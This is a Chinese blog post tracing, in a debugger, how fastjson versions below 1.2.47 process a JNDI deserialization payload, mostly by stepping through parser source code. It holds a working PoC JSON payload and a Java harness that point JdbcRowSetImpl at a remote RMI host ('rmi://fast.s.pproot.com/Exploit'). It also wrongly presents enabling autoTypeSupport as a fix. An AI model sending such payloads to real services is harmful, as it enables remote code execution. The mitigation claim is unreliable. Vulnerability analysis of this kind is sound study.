IDEA debug漏洞第二弹(fastjson，version<1.2.47)

时间:2019-11-07
本文章向大家介绍IDEA debug漏洞第二弹(fastjson，version<1.2.47)，主要包括IDEA debug漏洞第二弹(fastjson，version<1.2.47)使用实例、应用技巧、基本知识点总结和需要注意事项，具有一定的参考价值，需要的朋友可以参考一下。

首先这个漏洞调试不需要非要使用docker，本身是一个jar包的问题。所以我们可以自己写一个小java代码来直接调试。

POC如下

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://fast.s.pproot.com/Exploit","autoCommit":true}} 
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {

    public static void main(String[] args)
    {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //String payload1 = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://fast.s.pproot.com/Exploit\"}}";
        String payload2 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://fast.s.pproot.com/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload2);
    }
}

java代码如上，下载fastjson-1.2.44.jar放到对应lib目录下，并把lib目录加入到libraries上。

在JSON.parse(payload);下断点，调试。

    public static Object parse(String text, int features) {
        return parse(text, ParserConfig.getGlobalInstance(), features);
    }

在这块，我个人认为ParserConfig.getGlobalInstance()主要是获取整个代码调用fastjson的时候的设置的环境变量，也就是说，如果在代码块未对一些配置参数更改，那这块获取的配置就是默认的配置环境。

 环境可以理解为，就是一些参数值是true还是false。

我们可以看到，autoTypeSupport是false的，在一些文章里，我们也搜到了一些fastjson  rce漏洞 的解决方案之一就是ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

    public static Object parse(String text, ParserConfig config, int features) {
        if (text == null) {
            return null;
        }

        DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
        Object value = parser.parse();

        parser.handleResovleTask(value);

        parser.close();

        return value;
    }

来到DefaultJSONParser parser = new DefaultJSONParser(text, config, features);

 text就是传入的poc，config就是之前的全局环境配置。我们假设我们不知道哪里触发的，于是我们就要跟入一下new  DefaultJSONParser这个实例化操作。

    public DefaultJSONParser(final String input, final ParserConfig config, int features){
        this(input, new JSONScanner(input, features), config);
    }

到这块，继续深入。可以通过查看dnslog，发现还没收到请求，说明还没触发漏洞。

text值转入了input，new JSONScanner里面

/fastjson-1.2.44-sources.jar!/com/alibaba/fastjson/parser/JSONLexerBase.java

第1104行

    protected final static char[] typeFieldName = ("\"" + JSON.DEFAULT_TYPE_KEY + "\":\"").toCharArray();

出现了poc里面的一个关键词，JSON.DEFAULT_TYPE_KEY为@type

搜索资料显示JSONLexerBase

JSONLexer是个接口类，定义了各种当前状态和操作接口。JSONLexerBase是对JSONLexer实现的抽象类，类似于序列化的SerializeWriter类，专门解析json字符串，并做了很多优化。实际使用的是JSONLexerBase的两个子类JSONScanner和JSONLexerBase，前者是对整个字符串的反序列化，后者是接Reader直接序列化。

可以看到我们调用了JSONScanner，所以这个漏洞也可以称作反序列化漏洞。

不过我对上面红色的话有异议，因为我搜索了全局的JSONLexerBase，我发现JSONLexerBase的子类只有JSONScanner，且子类名应该和父类不同同名，所以猜测有一定的错误性，但是JSONScanner是用来反序列化这点应该是没有什么问题的。

继续跟进

    public JSONScanner(String input, int features){
        super(features);

        text = input;
        len = text.length();
        bp = -1;

        next();
        if (ch == 65279) { // utf-8 bom
            next();
        }
    }

text值又为poc了，应该是保持之前的上下文变量统一。

跟到进入

1     public char charAt(int index) {
2         if ((index < 0) || (index >= value.length)) {
3             throw new StringIndexOutOfBoundsException(index);
4         }
5         return value[index];
6     }

这块没啥用，本来以为会在JSONScanner类里面触发，发现没有，调回到外层的this了。

this(input, new JSONScanner(input, features), config);

这个this其实就是本身DefaultJSONParse类的同名的构造方法，三个形参的那个同名构造方法。

代码如下：

    public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
        this.lexer = lexer;
        this.input = input;
        this.config = config;
        this.symbolTable = config.symbolTable;

        int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACE;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
        } else {
            lexer.nextToken(); // prime the pump
        }
    }

input是poc，lexer是带有poc的整个反序列化状态环境，config是全局fastjson配置环境变量集合。

 if (ch == '{') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACE;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
        } else {
            lexer.nextToken(); // prime the pump
        }

到这段代码才是真正处理剖析poc的内容。{开头是对象，[开头是数组。

判断第一个字符是{后退出。(⊙o⊙)…，没在DefaultJSONParse触发poc，跳回到执行

        Object value = parser.parse();

继续进入DefaultJSONParse.parse下面

因为是之前同类下面所以，this.lexer还是带有poc的环境情况变量的值。

 public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {

lexer.token值是12

case跳到

case LBRACE:
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                return parseObject(object, fieldName);

查看了LBRACE是全局定义了12。

传入JSONObject类的实例化

进入同名构造函数

    public JSONObject(boolean ordered){
        this(DEFAULT_INITIAL_CAPACITY, ordered);
    }

DEFAULT_INITIAL_CAPACITY为全局常量为16

ordered为false

    public JSONObject(int initialCapacity, boolean ordered){
        if (ordered) {
            map = new LinkedHashMap<String, Object>(initialCapacity);
        } else {
            map = new HashMap<String, Object>(initialCapacity);
        }
    }

因为这边没有poc，所以肯定也不在这块触发。

后面很多都是在处理，我本身跟踪花了很大的一部分时间。

还是在com.alibaba.fastjson.parser.DefaultJSONParser类里

if (ch == '"') {
                    key = lexer.scanSymbol(symbolTable, '"');
                    lexer.skipWhitespace();
                    ch = lexer.getCurrent();
                    if (ch != ':') {
                        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
                    }
                }

循环出key的值为@type。

感觉大概率是这边下面了。JSON.DEFAULT_TYPE_KEY为@type，!lexer.isEnabled(Feature.DisableSpecialKeyDetect))为true。

if (key == JSON.DEFAULT_TYPE_KEY
                        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                    String typeName = lexer.scanSymbol(symbolTable, '"');

                    if (lexer.isEnabled(Feature.IgnoreAutoType)) {
                        continue;
                    }

                    Class<?> clazz = null;
                    if (object != null
                            && object.getClass().getName().equals(typeName)) {
                        clazz = object.getClass();
                    } else {
                        clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
                    }

                    if (clazz == null) {
                        map.put(JSON.DEFAULT_TYPE_KEY, typeName);
                        continue;
                    }

                    lexer.nextToken(JSONToken.COMMA);
                    if (lexer.token() == JSONToken.RBRACE) {
                        lexer.nextToken(JSONToken.COMMA);
                        try {
                            Object instance = null;
                            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
                            if (deserializer instanceof JavaBeanDeserializer) {
                                JavaBeanDeserializer javaBeanDeserializer = (JavaBeanDeserializer) deserializer;
                                instance = javaBeanDeserializer.createInstance(this, clazz);
                                
                                for (Object o : map.entrySet()) {
                                    Map.Entry entry = (Map.Entry) o;
                                    Object entryKey = entry.getKey();
                                    if (entryKey instanceof String) {
                                        FieldDeserializer fieldDeserializer = javaBeanDeserializer.getFieldDeserializer((String) entryKey);
                                        if (fieldDeserializer != null) {
                                            fieldDeserializer.setValue(instance, entry.getValue());
                                        }
                                    }
                                }
                            }

                            if (instance == null) {
                                if (clazz == Cloneable.class) {
                                    instance = new HashMap();
                                } else if ("java.util.Collections$EmptyMap".equals(typeName)) {
                                    instance = Collections.emptyMap();
                                } else {
                                    instance = clazz.newInstance();
                                }
                            }

                            return instance;
                        } catch (Exception e) {
                            throw new JSONException("create instance error", e);
                        }
                    }
                    
                    this.setResolveStatus(TypeNameRedirect);

                    if (this.context != null
                            && fieldName != null
                            && !(fieldName instanceof Integer)
                            && !(this.context.fieldName instanceof Integer)) {
                        this.popContext();
                    }
                    
                    if (object.size() > 0) {
                        Object newObj = TypeUtils.cast(object, clazz, this.config);
                        this.parseObject(newObj);
                        return newObj;
                    }

                    ObjectDeserializer deserializer = config.getDeserializer(clazz);
                    return deserializer.deserialze(this, clazz, fieldName);
                }

String typeName = lexer.scanSymbol(symbolTable, '"');

scanSymbol就是循环取出""里面的内容。

所以typeName的内容是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

额外知识，看这个object.getClass().getName().equals(typeName)

其实使用了java的反射技巧，通过object这个实力，取getClass，通过实例取到类的内容，然后getName()获得这个object这个实例的类名。

  clazz = config.checkAutoType(typeName, null, lexer.getFeatures());

跟进checkAutoType看到条件

if (typeName.length() >= 128 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }

要求如果typeName太长，或者太短会报错。

fastjson-1.2.44-sources.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.java的205行循环遍历，

循环到

if (!objParsed) {
     obj = this.parseObject(input, key);
}

key为x，进入parseObject。等同于对x的值进行了，进一步的解析。也就是

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://fast.s.pproot.com/Exploit","autoCommit":true} 的进一步解析
然后进一步parseObject的函数去解析处理，卧槽，循环了好几次。
ObjectDeserializer deserializer = config.getDeserializer(clazz);

然后取到了deserializer ,com.sun.rowset.JdbcRowSetImpl的反序列化的类

        return deserialze(parser, type, fieldName, 0);

到这边卡住了，但是跳过这一步就是收到了dnslog。

因此最关键的就在这个deserialze下面。

原文地址：https://www.cnblogs.com/ph4nt0mer/p/11813411.html

随机文章
Javascript知识点必读
最近更新